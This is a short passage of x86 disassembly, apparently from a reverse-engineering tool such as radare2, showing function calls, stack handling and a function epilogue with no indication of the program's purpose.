jne 0x416169
sub esp, 0x18
mov ecx, esp
push esi
call fcn.00402073
push 0x6e
mov ecx, edi
jmp 0x416164
sub esp, 0x18
mov ecx, esp
push 0x463050
call fcn.00402073
push 0x6f
mov ecx, 0x472540
call fcn.00404a81
lea ecx, [ebp - 0x138]
call fcn.0040dd70
lea ecx, [ebp - 0x18]
call fcn.00401fb8
lea ecx, [ebp + 8]
call fcn.00401fb8
lea ecx, [ebp + 0x20]
call fcn.00401fb8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret